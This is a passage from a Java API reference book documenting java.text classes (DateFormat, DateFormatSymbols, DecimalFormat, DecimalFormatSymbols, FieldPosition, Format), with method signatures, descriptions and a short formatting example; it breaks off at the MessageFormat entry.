This method formats the given date and appends the result to the given StringBuffer. If fieldPosition refers to one of the time or date fields, its beginning and ending indices are filled with the beginning and ending positions of the given field in the resulting formatted string.

getCalendar

public Calendar getCalendar()

Returns

The internal Calendar object of this DateFormat.

Description

This method returns the Calendar object that this DateFormat uses internally.

getNumberFormat

public NumberFormat getNumberFormat()

Returns

The internal NumberFormat object of this DateFormat.

Description

This method returns the NumberFormat object that this DateFormat uses internally.

getTimeZone

public TimeZone getTimeZone()

Returns

The internal TimeZone object of this DateFormat.

Description

This method returns the TimeZone object that this DateFormat uses internally.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this DateFormat.

isLenient

public boolean isLenient()

Returns

A boolean value that indicates the leniency of this DateFormat.

Description

This method returns the current leniency of this DateFormat. A value of false indicates that the DateFormat throws exceptions when it tries to parse questionable data, while a value of true indicates that the DateFormat makes its best guess to interpret questionable data. For example, if the DateFormat is being lenient, a date such as March 135, 1997 is interpreted as the 135th day after March 1, 1997.

parse

public Date parse(String text) throws ParseException

Parameters

text

The string to be parsed.

Returns

The Date object represented by the given string.

Throws

ParseException

If the text cannot be parsed as a date.

Description

This method parses a date from the given string, starting from the beginning of the string.

public abstract Date parse(String text, ParsePosition pos)

Parameters

text

The string to be parsed.

pos

A ParsePosition object that can specify a position in the string.

Returns

The Date object represented by the text starting at the given position.

Description

This method parses a date from the given string, starting from the given position. After the string has been parsed, the given ParsePosition object is updated so that its index is after the parsed text.

parseObject

public Object parseObject(String source, ParsePosition pos)

Parameters

source

The string to be parsed.

pos

A ParsePosition object that can specify a position in the string.

Returns

The object represented by the text starting at the given position.

Overrides

Format.parseObject(String, ParsePosition)

Description

This method parses a date from the given string, starting from the given position. After the string has been parsed, the given ParsePosition object is updated so that its index is after the parsed text.

setCalendar

public void setCalendar(Calendar newCalendar)

Parameters

newCalendar

The new Calendar to use.

Description

This method sets the Calendar that this DateFormat uses internally.

setLenient

public void setLenient(boolean lenient)

Parameters

lenient

A boolean value that specifies the leniency of this DateFormat.

Description

This method sets the leniency of this DateFormat. A value of false specifies that the DateFormat throws exceptions when it tries to parse questionable data, while a value of true indicates that the DateFormat makes its best guess to interpret questionable data. For example, if the Calendar is being lenient, a date such as March 135, 1997 is interpreted as the 135th day after March 1, 1997.

setNumberFormat

public void setNumberFormat(NumberFormat newNumberFormat)

Parameters

newNumberFormat

The new NumberFormat to use.

Description

This method sets the NumberFormat that this DateFormat uses internally.

setTimeZone

public void setTimeZone(TimeZone zone)

Parameters

zone

The new TimeZone to use.

Description

This method sets the TimeZone that this DateFormat uses internally.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | format(Object) | Format
getClass() | Object | notify() | Object
notifyAll() | Object | parseObject(String) | Format
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Calendar, Cloneable, Date, FieldPosition, Format, Locale, NumberFormat, ParsePosition, String, StringBuffer, TimeZone

Previous | Home | Next
Collator | Book Index | DateFormatSymbols
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] DateFormatSymbols

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

DateFormatSymbols

Name

DateFormatSymbols

Synopsis

Class Name:

java.text.DateFormatSymbols

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

New as of JDK 1.1

Description

The DateFormatSymbols class encapsulates date and time formatting data that is locale-specific, like the names of the days of the week and the names of the months. Typically, you do not need to instantiate DateFormatSymbols yourself. Instead, an instance is automatically created for you, behind the scenes, when you use one of the factory methods in DateFormat to create a DateFormat object. You can retrieve a DateFormatSymbols object by calling the getDateFormatSymbols() method of SimpleDateFormat. Once you have a DateFormatSymbols object, you can modify the strings it uses if you want to change them.

Class Summary

public class java.text.DateFormatSymbols extends java.lang.Object
             implements java.io.Serializable, java.lang.Cloneable {
  // Constructors
  public DateFormatSymbols();
  public DateFormatSymbols(Locale locale);
  // Instance Methods
  public Object clone();
  public boolean equals(Object obj);
  public String[] getAmPmStrings();
  public String[] getEras();
  public String getLocalPatternChars();
  public String[] getMonths();
  public String[] getShortMonths();
  public String[] getShortWeekdays();
  public String[] getWeekdays();
  public String[][] getZoneStrings();
  public int hashCode();
  public void setAmPmStrings(String[] newAmpms);
  public void setEras(String[] newEras);
  public void setLocalPatternChars(String newLocalPatternChars);
  public void setMonths(String[] newMonths);
  public void setShortMonths(String[] newShortMonths);
  public void setShortWeekdays(String[] newShortWeekdays);
  public void setWeekdays(String[] newWeekdays);
  public void setZoneStrings(String[][] newZoneStrings);
}

Constructors

DateFormatSymbols

public DateFormatSymbols()

Throws

MissingResourceException

If the resources for the default locale cannot be found or loaded.

Description

This constructor creates a DateFormatSymbols object for the default locale.

public DateFormatSymbols(Locale locale)

Parameters

locale

The Locale to use.

Throws

MissingResourceException

If the resources for the given locale cannot be found or loaded.

Description

This constructor creates a DateFormatSymbols object for the given locale.

Instance Methods

clone

public Object clone()

Returns

A copy of this DateFormatSymbols.

Overrides

Object.clone()

Description

This method creates a copy of this DateFormatSymbols and returns it.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of DecimalFormatSymbols and is equivalent to this DateFormatSymbols.

getAmPmStrings

public String[] getAmPmStrings()

Returns

An array of strings used for the A.M./P.M. field for this DateFormatSymbols.

Description

This method returns the strings that are used for the A.M./P.M. field (e.g., "AM", "PM").

getEras

public String[] getEras()

Returns

An array of strings used for the era field for this DateFormatSymbols.

Description

This method returns the strings that are used for the era field (e.g., "BC", "AD").

getLocalPatternChars

public String getLocalPatternChars()

Returns

A string that contains the data-time pattern characters for this DateFormatSymbols.

Description

This method returns the data-time pattern characters for the locale of this object.

getMonths

public String[] getMonths()

Returns

An array of strings used for the month field for this DateFormatSymbols.

Description

This method returns the strings that are used for the month field (e.g., "January", "February").

getShortMonths

public String[] getShortMonths()

Returns

An array of strings used for the short month field for this DateFormatSymbols.

Description

This method returns the strings that are used for the short (i.e., three-character) month field (e.g., "Jan", "Feb").

getShortWeekdays

public String[] getShortWeekdays()

Returns

An array ofstrings used for the short weekday field for this DateFormatSymbols.

Description

This method returns the strings that are used for the short (i.e., three-character) weekday field (e.g., "Mon", "Tue").

getWeekdays

public String[] getWeekdays()

Returns

An array ofstrings used for the weekday field for this DateFormatSymbols.

Description

This method returns the strings that are used for the weekday field (e.g., "Monday", "Tuesday").

getZoneStrings

public String[][] getZoneStrings()

Returns

An array of arrays of strings used for the time zones for this DateFormatSymbols.

Description

This method returns the time-zone strings. Each subarray is an array of six strings that specify a time-zone ID, its long name, its short name, its daylight-savings-time name, its short daylight-savings-time name, and a major city in the time zone. For example, an entry for Mountain Standard Time is:

{"MST", "Mountain Standard Time", "MST",
 "Mountain Daylight Time", "MDT", "Denver"}

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this DateFormatSymbols object.

setAmPmStrings

public void setAmPmStrings(String[] newAmpms)

Parameters

newAmpms

The new strings.

Description

This method sets the strings that are used for the A.M./P.M. field for this DateFormatSymbols.

setEras

public void setEras(String[] newEras)

Parameters

newEras

The new strings.

Description

This method sets the strings that are used for the era field for this DateFormatSymbols.

setLocalPatternChars

public void setLocalPatternChars(String newLocalPatternChars)

Parameters

newLocalPatternChars

The new date-time pattern characters.

Description

This method sets the date-time pattern characters of this DateFormatSymbols object.

setMonths

public void setMonths(String[] newMonths)

Parameters

newMonths

The new strings.

Description

This method sets the strings that are used for the month field for this DateFormatSymbols.

setShortMonths

public void setShortMonths(String[] newShortMonths)

Parameters

newShortMonths

The new strings.

Description

This method sets the strings that are used for the short (i.e., three-character) month field for this DateFormatSymbols.

setShortWeekdays

public void setShortWeekdays(String[] newShortWeekdays)

Parameters

newShortWeekdays

The new strings.

Description

This method sets the strings that are used for the short (i.e., three-character) weekday field for this DateFormatSymbols.

setWeekdays

public void setWeekdays(String[] newWeekdays)

Parameters

newWeekdays

The new strings.

Description

This method sets the strings that are used for the weekday field for this DateFormatSymbols.

setZones

public void setZones(String[][] newZoneStrings)

Parameters

newZoneStrings

The new strings.

Description

This method sets the strings that are used for the time-zone field for this DateFormatSymbols.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | getClass() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Calendar, DateFormat, Locale, SimpleDateFormat, TimeZone

Previous | Home | Next
DateFormat | Book Index | DecimalFormat
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] DecimalFormat

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

DecimalFormat

Name

DecimalFormat

Synopsis

Class Name:

java.text.DecimalFormat

Superclass:

java.text.NumberFormat

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The DecimalFormat class is a concrete subclass of NumberFormat that formats and parses numbers using a formatting pattern. Typically, you do not need to instantiate DecimalFormat yourself. Instead, the factory methods of NumberFormat return instances of DecimalFormat that are appropriate for particular locales.

However, if you need a specialized number format, you can instantiate your own DecimalFormat using a pattern string. You can also modify the formatting pattern of an existing DecimalFormat object using the applyPattern() method. A pattern string has the following form:

positive-pattern[;negative-pattern]

If the negative pattern is omitted, negative numbers are formatted using the positive pattern with a - character prepended to the result. Each pattern has the following form:

[prefix]integer[.fraction][suffix]

The following symbols are significant in the pattern string.

Symbol | Description
0 | A digit
# | A digit where 0 is not shown
. | A placeholder for a decimal separator
, | A placeholder for a grouping separator
; | The format separator
- | The default negative prefix
% | Divides value by 100 and shows as a percentage

Any characters other than these special characters can appear in the prefix or the suffix. A single quote can be used to escape a special character, if you need to use one of these symbols in a prefix or a suffix.

For example, the pattern string for U.S. currency values is:

$#,##0.00;($#,##0.00)

This indicates that a $ character is prepended to all formatted values. The grouping separator character , is inserted every three digits. Exactly two digits after the decimal place are always shown. Negative values are shown in parentheses. Thus, the value -1234.56 produces output like:

($1,234.56)

Internally, the DecimalFormat class uses a DecimalFormatSymbols object to get the numerical strings that are appropriate for a particular locale. If you want to modify these strings, you can get the DecimalFormatSymbols object by calling getDecimalFormatSymbols().

Class Summary

public class java.text.DecimalFormat extends java.text.NumberFormat {
  // Constructors
  public DecimalFormat();
  public DecimalFormat(String pattern);
  public DecimalFormat(String pattern, DecimalFormatSymbols symbols);
  // Instance Methods
  public void applyLocalizedPattern(String pattern);
  public void applyPattern(String pattern);
  public Object clone();
  public boolean equals(Object obj);
  public StringBuffer format(double number, StringBuffer result,
                      FieldPosition fieldPosition);
  public StringBuffer format(long number, StringBuffer result,
                      FieldPosition fieldPosition);
  public DecimalFormatSymbols getDecimalFormatSymbols();
  public int getGroupingSize();
  public int getMultiplier();
  public String getNegativePrefix();
  public String getNegativeSuffix();
  public String getPositivePrefix();
  public String getPositiveSuffix();
  public int hashCode();
  public boolean isDecimalSeparatorAlwaysShown();
  public Number parse(String text, ParsePosition status);
  public void setDecimalFormatSymbols(DecimalFormatSymbols newSymbols);
  public void setDecimalSeparatorAlwaysShown(boolean newValue);
  public void setGroupingSize(int newValue);
  public void setMultiplier(int newValue);
  public void setNegativePrefix(String newValue);
  public void setNegativeSuffix(String newValue);
  public void setPositivePrefix(String newValue);
  public void setPositiveSuffix(String newValue);
  public String toLocalizedPattern();
  public String toPattern();
}

Constructors

DecimalFormat

public DecimalFormat()

Description

This constructor creates a DecimalFormat that uses the default formatting pattern and DecimalFormatSymbols that are appropriate for the default locale.

public DecimalFormat(String pattern)

Parameters

pattern

The pattern string.

Description

This constructor creates a DecimalFormat that uses the given formatting pattern and a DecimalFormatSymbols that is appropriate for the default locale.

public DecimalFormat(String pattern, DecimalFormatSymbols symbols)

Parameters

pattern

The pattern string.

symbols

The DecimalFormatSymbols to use.

Description

This constructor creates a DecimalFormat that uses the given formatting pattern and DecimalFormatSymbols object.

Instance Methods

applyLocalizedPattern

public void applyLocalizedPattern(String pattern)

Parameters

pattern

The pattern string.

Description

This method tells this DecimalFormat to use the given formatting pattern to format and parse numbers. The pattern string is assumed to have been localized to the DecimalFormatSymbols object this DecimalFormat uses.

applyPattern

public void applyPattern(String pattern)

Parameters

pattern

The pattern string.

Description

This method tells this DecimalFormat to use the given formatting pattern to format and parse numbers. The pattern string is localized to the DecimalFormatSymbols object this DecimalFormat uses.

clone

public Object clone()

Returns

A copy of this DecimalFormat.

Overrides

NumberFormat.clone()

Description

This method creates a copy of this DecimalFormat and then returns it.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

NumberFormat.equals()

Description

This method returns true if obj is an instance of DecimalFormat and is equivalent to this DecimalFormat.

format

 public StringBuffer format(double number, StringBuffer result, FieldPosition fieldPosition)

Parameters

number

The double value to be formatted.

result

A StringBuffer on which to append the formatted information.

fieldPosition

A number field.

Returns

The given buffer result with the formatted representation of the number appended to it.

Overrides

NumberFormat.format(double, StringBuffer, FieldPosition)

Description

This method formats the given number and appends the result to the given StringBuffer. If fieldPosition refers to one of the number fields, its beginning and ending indices are filled with the beginning and ending positions of the given field in the resulting formatted string.

 public StringBuffer format(long number, StringBuffer result, FieldPosition fieldPosition)

Parameters

number

The long value to be formatted.

result

A StringBuffer on which to append the formatted information.

fieldPosition

A number field.

Returns

The given buffer result with the formatted representation of the number appended to it.

Overrides

NumberFormat.format(double, StringBuffer, FieldPosition)

Description

This method formats the given number and appends the result to the given StringBuffer. If fieldPosition refers to one of the number fields, its beginning and ending indices are filled with the beginning and ending positions of the given field in the resulting formatted string.

getDecimalFormatSymbols

public DecimalFormatSymbols getDecimalFormatSymbols()

Returns

The DecimalFormatSymbols object used by this DecimalFormat.

Description

This method returns the DecimalFormatSymbols object that this DecimalFormat uses internally.

getGroupingSize

public int getGroupingSize()

Returns

The grouping size of this DecimalFormat.

Description

This method returns the grouping size of this DecimalFormat. The grouping size is the number of digits between grouping separators in the integer portion of a number. For example, in the number 1,234.56, the grouping size is 3 (and the grouping symbol is ",").

getMultiplier

public int getMultiplier()

Returns

The multiplier of this DecimalFormat.

Description

This method returns the multiplier of this DecimalFormat. The multiplier is used to adjust a number before it is formatted or after it is parsed. For example, a percent format has a multiplier of 100 and a suffix of `%'. Thus, a value of .42 could be formatted as 42%.

getNegativePrefix

public String getNegativePrefix()

Returns

The string that is prepended to negative values.

Description

This method returns the prefix string for negative numbers.

getNegativeSuffix

public String getNegativeSuffix()

Returns

The string that is appended to negative values.

Description

This method returns the suffix string for negative numbers.

getPositivePrefix

public String getPositivePrefix()

Returns

The string that is prepended to positive values.

Description

This method returns the prefix string for positive numbers.

getPositiveSuffix

public String getPositiveSuffix()

Returns

The string that is appended to positive values.

Description

This method returns the suffix string for positive numbers.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

NumberFormat.hashCode()

Description

This method returns a hashcode for this DecimalFormat.

isDecimalSeparatorAlwaysShown

public boolean isDecimalSeparatorAlwaysShown()

Returns

A boolean value that indicates whether or not the decimal separator symbol is always shown.

Description

This method returns true if this DecimalFormat always shows the decimal separator. The method returns false if the decimal separator is only shown if there is a fractional portion of the number being formatted.

parse

public Number parse(String text, ParsePosition status)

Parameters

text

The string to be parsed.

status

A ParsePosition object that specifies a position in the string.

Returns

The Number object represented by the text starting at the given position.

Overrides

NumberFormat.parse(String, ParsePosition)

Description

This method parses a number from the given string, starting from the given position. After the string has been parsed, the given ParsePosition object is updated so that its index is after the parsed text.

setDecimalFormatSymbols

 public void setDecimalFormatSymbols( DecimalFormatSymbols newSymbols)

Parameters

newSymbols

The new DecimalFormatSymbols object to use.

Description

This method sets the DecimalFormatSymbols object that this DecimalFormat uses internally.

setDecimalSeparatorAlwaysShown

public void setDecimalSeparatorAlwaysShown(boolean newValue)

Parameters

newValue

The new decimal separator value.

Description

This method specifies whether or not the decimal separator symbol is always shown in formatted numbers. If newValue is false, the separator is only shown for numbers that have a fractional part. Otherwise, the separator is always shown.

setGroupingSize

public void setGroupingSize(int newValue)

Parameters

newValue

The new grouping size.

Description

This method sets the grouping size of this DecimalFormat. The grouping size is the number of digits between grouping separators in the integer portion of a number. For example, in the number 1,234.56, the grouping size is 3 (and the grouping symbol is ",").

setMultiplier

public void setMultiplier(int newValue)

Parameters

newValue

The new multiplier.

Description

This method sets the multiplier of this DecimalFormat. The multiplier is used to adjust a number before it is formatted or after it is parsed. For example, a percent format has a multiplier of 100 and a suffix of %. Thus, a value of .42 could be formatted as 42%.

setNegativePrefix

public void setNegativePrefix(String newValue)

Parameters

newValue

The new prefix.

Description

This method sets the prefix string for negative values.

setNegativeSuffix

public void setNegativeSuffix(String newValue)

Parameters

newValue

The new suffix.

Description

This method sets the suffix string for negative values.

setPositivePrefix

public void setPositivePrefix(String newValue)

Parameters

newValue

The new prefix.

Description

This method sets the prefix string for positive values.

setPositiveSuffix

public void setPositiveSuffix(String newValue)

Parameters

newValue

The new suffix.

Description

This method sets the suffix string for positive values.

toLocalizedPattern

public String toLocalizedPattern()

Returns

The pattern string of this DecimalFormat.

Description

This method returns the pattern string of this DecimalFormat, localized with the DecimalFormatSymbols object of this DecimalFormat.

toPattern

public String toPattern()

Returns

The pattern string of this DecimalFormat.

Description

This method returns the pattern string of this DecimalFormat.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | format(double) | NumberFormat
format(long) | NumberFormat | format(Object, StringBuffer, FieldPosition) | NumberFormat
getClass() | Object | getMaximumFractionDigits() | NumberFormat
getMaximumIntegerDigits() | NumberFormat | getMinimumFractionDigits() | NumberFormat
getMinimumIntegerDigits() | NumberFormat | isGroupingUsed() | NumberFormat
isParseIntegerOnly() | NumberFormat | notify() | Object
notifyAll() | Object | parse(String) | NumberFormat
parseObject(String) | Format | parseObject(String, ParsePosition) | NumberFormat
setGroupingUsed(boolean) | NumberFormat | setMaximumFractionDigits(int) | NumberFormat
setMaximumIntegerDigits(int) | NumberFormat | setMinimumFractionDigits(int) | NumberFormat
setMinimumIntegerDigits(int) | NumberFormat | setParseIntegerOnly(boolean) | NumberFormat
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

DecimalFormatSymbols, FieldPosition, Number, NumberFormat, ParsePosition, String, StringBuffer

Previous | Home | Next
DateFormatSymbols | Book Index | DecimalFormatSymbols
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] DecimalFormatSymbols

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

DecimalFormatSymbols

Name

DecimalFormatSymbols

Synopsis

Class Name:

java.text.DecimalFormatSymbols

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

New as of JDK 1.1

Description

The DecimalFormatSymbols class encapsulates number-formatting data that is locale-specific, like grouping separators and decimal separators. Typically, you do not need to instantiate DecimalFormatSymbols yourself. Instead, an instance is automatically created for you, behind the scenes, when you use one of the factory methods in NumberFormat to create a DecimalFormat object. You can retrieve a DecimalFormatSymbols object by calling the getDecimalFormatSymbols() method of DecimalFormat. Once you have a DecimalFormatSymbols object, you can modify the strings it uses if you want to change them.

Class Summary

public final class java.text.DecimalFormatSymbols extends java.lang.Object
                   implements java.io.Serializable, java.lang.Cloneable {
  // Constructors
  public DecimalFormatSymbols();
  public DecimalFormatSymbols(Locale locale);
  // Instance Methods
  public Object clone();
  public boolean equals(Object obj);
  public char getDecimalSeparator();
  public char getDigit();
  public char getGroupingSeparator();
  public String getInfinity();
  public char getMinusSign();
  public String getNaN();
  public char getPatternSeparator();
  public char getPerMill();
  public char getPercent();
  public char getZeroDigit();
  public int hashCode();
  public void setDecimalSeparator(char decimalSeparator);
  public void setDigit(char digit);
  public void setGroupingSeparator(char groupingSeparator);
  public void setInfinity(String infinity);
  public void setMinusSign(char minusSign);
  public void setNaN(String NaN);
  public void setPatternSeparator(char patternSeparator);
  public void setPerMill(char perMill);
  public void setPercent(char percent);
  public void setZeroDigit(char zeroDigit);
}

Constructors

DecimalFormatSymbols

public DecimalFormatSymbols()

Description

This constructor creates a DecimalFormatSymbols object for the default locale.

public DecimalFormatSymbols(Locale locale)

Parameters

locale

The Locale to use.

Description

This constructor creates a DecimalFormatSymbols object for the given locale.

Instance Methods

clone

public Object clone()

Returns

A copy of this DecimalFormatSymbols.

Overrides

Object.clone()

Description

This method creates a copy of this DecimalFormatSymbols and returns it.

equals

public boolean equals(Object obj)

Parameters

obj

The object to be compared with this object.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if obj is an instance of DateFormatSymbols and is equivalent to this DecimalFormatSymbols.

getDecimalSeparator

public char getDecimalSeparator()

Returns

The character used to separate the integer and fractional parts of a number for this DecimalFormatSymbols.

Description

This method returns the decimal separator character (e.g., ".", ",").

getDigit

public char getDigit()

Returns

The character used to represent a digit in a pattern string for this DecimalFormatSymbols.

Description

This method returns the digit pattern character, which represents a digit that is not shown if it is zero.

getGroupingSeparator

public char getGroupingSeparator()

Returns

The character used to separate long numbers for this DecimalFormatSymbols.

Description

This method returns the grouping separator character (e.g., ",", ".").

getInfinity

public String getInfinity()

Returns

The string used to represent infinity for this DecimalFormatSymbols.

Description

This method returns the string that represents infinity.

getMinusSign

public char getMinusSign()

Returns

The character used to signify negative numbers for this DecimalFormatSymbols.

Description

This method returns the character that signifies negative numbers.

getNaN

public String getNaN()

Returns

The string used to represent the value not-a-number for this DecimalFormatSymbols.

Description

This method returns the string that represents not-a-number.

getPatternSeparator

public char getPatternSeparator()

Returns

The pattern separator character for this DecimalFormatSymbols.

Description

This method returns the character used in pattern strings to separate the positive subpattern and negative subpattern.

getPerMill

public char getPerMill()

Returns

The character used to represent the per mille sign for this DecimalFormatSymbols.

Description

This method returns the character that represents a per mille value.

getPercent

public char getPercent()

Returns

The character used to represent the percent sign for this DecimalFormatSymbols.

Description

This method returns the character that represents a percent value (e.g., %).

getZeroDigit

public char getZeroDigit()

Returns

The character used to represent a digit in a pattern string for this DecimalFormatSymbols.

Description

This method returns the zero-digit pattern character, which represents a digit that is shown even if it is zero.

hashCode

public int hashCode()

Returns

A hashcode for this object.

Overrides

Object.hashCode()

Description

This method returns a hashcode for this DecimalFormatSymbols object.

setDecimalSeparator

public void setDecimalSeparator(char decimalSeparator)

Parameters

decimalSeparator

The new decimal separator.

Description

This method sets the decimal separator character for this DecimalFormatSymbols.

setDigit

public void setDigit(char digit)

Parameters

digit

The new digit pattern character.

Description

This method sets the digit pattern character, which represents a digit that is not shown if it is zero, for this DecimalFormatSymbols.

setGroupingSeparator

public void setGroupingSeparator(char groupingSeparator)

Parameters

groupingSeparator

The new grouping separator.

Description

This method sets the grouping separator character for this DecimalFormatSymbols.

setInfinity

public Void setInfinity(String infinity)

Parameters

infinity

The new infinity string.

Description

This method sets the string that represents infinity for this DecimalFormatSymbols.

setMinusSign

public void setMinusSign(char minusSign)

Parameters

minusSign

The new minus sign.

Description

This method sets the character that signifies negative numbers for this DecimalFormatSymbols.

setNaN

public Void setNaN(String NaN)

Parameters

NaN

The new non-a-number string.

Description

This method sets the string that represents not-a-number for this DecimalFormatSymbols.

setPatternSeparator

public void setPatternSeparator(char patternSeparator)

Parameters

patternSeparator

The new pattern separator.

Description

This method sets the character that is used in pattern strings to separate the positive subpattern and negative subpattern for this DecimalFormatSymbols.

setPerMill

public void setPerMill(char perMill)

Parameters

perMill

The new per mille sign.

Description

This method sets the character that represents the per mille sign for this DecimalFormatSymbols.

setPercent

public void setPercent(char percent)

Parameters

percent

The new percent sign.

Description

This method sets the character that represents the percent sign for this DecimalFormatSymbols.

setZeroDigit

public void setZeroDigit(char zeroDigit)

Parameters

zeroDigit

The new zero-digit pattern character.

Description

This method sets the zero-digit pattern character, which represents a digit that is shown even if it is zero, for this DecimalFormatSymbols.

Inherited Methods

Method | Inherited From | Method | Inherited From
finalize() | Object | getClass() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

DecimalFormat, NumberFormat, Locale

Previous | Home | Next
DecimalFormat | Book Index | FieldPosition
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] FieldPosition

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

FieldPosition

Name

FieldPosition

Synopsis

Class Name:

java.text.FieldPosition

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

The FieldPosition class encapsulates information about fields in formatted output. The fields in a particular type of formatted output are identified by constants. A FieldPosition object contains its field type and the field's position within the formatted output. The field position is specified by the index of the first character in the field and the index of the last character in the field.

You can use a FieldPosition object to find the position of a particular field in a formatted string. Consider the following code:

NumberFormat nf = NumberFormat.getInstance();
StringBuffer sb = new StringBuffer();
FieldPosition fp = new FieldPosition(NumberFormat.FRACTION_FIELD);
nf.format(-1234.56, sb, fp);
System.out.println(new String(sb));
System.out.println("FRACTION_FIELD goes from " + fp.getBeginIndex()
                   + " to " + fp.getEndIndex() + ".");

This code produces the following output:

-1,234.56
FRACTION_FIELD goes from 7 to 9.

Class Summary

public class java.text.FieldPosition extends java.lang.Object {
  // Constructors
  public FieldPosition(int field);
  // Instance Methods
  public int getBeginIndex();
  public int getEndIndex();
  public int getField();
}

Constructors

FieldPosition

public FieldPosition(int field)

Parameters

field

A field constant.

Description

This constructor creates a FieldPosition object that represents the given field.

Instance Methods

getBeginIndex

public int getBeginIndex()

Returns

The beginning index.

Description

This method returns the beginning index of the field that is represented by this FieldPosition.

getEndIndex

public int getEndIndex()

Returns

The ending index of this FieldPosition.

Description

This method returns the ending index of the field that is represented by this FieldPosition.

getField

public int getField()

Returns

The field constant of this FieldPosition.

Description

This method returns the field constant of this FieldPosition.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | equals(Object) | Object
finalize() | Object | getClass() | Object
hashCode() | Object | notify() | Object
notifyAll() | Object | toString() | Object
wait() | Object | wait(long) | Object
wait(long, int) | Object |  |

See Also

DateFormat, Format, MessageFormat, NumberFormat, ParsePosition, String

Previous | Home | Next
DecimalFormatSymbols | Book Index | Format
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] Format

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

Format

Name

Format

Synopsis

Class Name:

java.text.Format

Superclass:

java.lang.Object

Immediate Subclasses:

java.text.DateFormat, java.text.MessageFormat,

java.text.NumberFormat

Interfaces Implemented:

java.lang.Cloneable, java.io.Serializable

Availability:

New as of JDK 1.1

Description

The Format class is an abstract class that is the superclass of all classes that handle locale-sensitive parsing and formatting of dates, numbers, and messages. The two format() methods take the information in a supplied object and convert it to a string. The two parseObject() methods do the reverse; they take the information from a string and construct an appropriate object.

Class Summary

public abstract class java.text.Format extends java.lang.Object
                      implements java.io.Serializable, java.lang.Cloneable {
  // Instance Methods
  public Object clone();
  public final String format(Object obj);
  public abstract StringBuffer format(Object obj, StringBuffer toAppendTo,
                               FieldPosition pos);
  public Object parseObject(String source);
  public abstract Object parseObject(String source, ParsePosition status);
}

Instance Methods

clone

public Object clone()

Returns

A copy of this Format.

Overrides

Object.clone()

Description

This method creates a copy of this Format and returns it.

format

public final String format(Object obj)

Parameters

obj

The object to be formatted.

Returns

A string that contains a formatted representation of the object.

Throws

IllegalArgumentException

If the given object cannot be formatted.

Description

This method formats the given object by calling format(Object, StringBuffer, FieldPosition) with an empty StringBuffer and a FieldPosition that has a value of 0.

 public abstract StringBuffer format(Object obj, StringBuffer toAppendTo, FieldPosition pos)

Parameters

obj

The object to be formatted.

toAppendTo

A StringBuffer on which to append the formatted information.

pos

A field.

Returns

The given buffer toAppendTo with the formatted representation of the object appended to it.

Throws

IllegalArgumentException

If the given object cannot be formatted.

Description

This method formats the given object and appends the result to the given StringBuffer. After the object has been formatted, the beginning and ending indices of the given FieldPosition are updated to reflect the field's position in the formatted output.

A subclass of Format must implement this method.

parseObject

public Object parseObject(String source) throws ParseException

Parameters

source

The string to be parsed.

Returns

The object represented by the given string.

Throws

ParseException

If the text cannot be parsed by this Format.

Description

This method parses the given text and returns an appropriate object. It does this by calling parseObject(String, ParsePosition) with a ParsePosition that has an index of 0.

 public abstract Object parseObject(String source, ParsePosition status)

Parameters

source

The string to be parsed.

status

A ParsePosition object that specifies a position in the string.

Returns

The object represented by the text starting at the given position.

Description

This method parses the given text, starting at the specified position, and returns an object created from the data. After the string has been parsed, the given ParsePosition object is updated so that its index is after the parsed text.

A subclass of Format must implement this method.

Inherited Methods

Method | Inherited From | Method | Inherited From
equals(Object) | Object | finalize() | Object
getClass() | Object | hashCode() | Object
notify() | Object | notifyAll() | Object
toString() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

DateFormat, FieldPosition, MessageFormat, NumberFormat, ParseException, ParsePosition, String, StringBuffer

Previous | Home | Next
FieldPosition | Book Index | MessageFormat
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 16] MessageFormat

Java Fundamental Classes Reference

Previous Chapter 16
The java.text Package 		Next

MessageFormat

Name

MessageFormat

Synopsis

Class Name:

java.text.MessageFormat

Superclass:

java.text.Format

Immediate Subclasses:

None

Interfaces Implemented:

None

Availability:

New as of JDK 1.1

Description

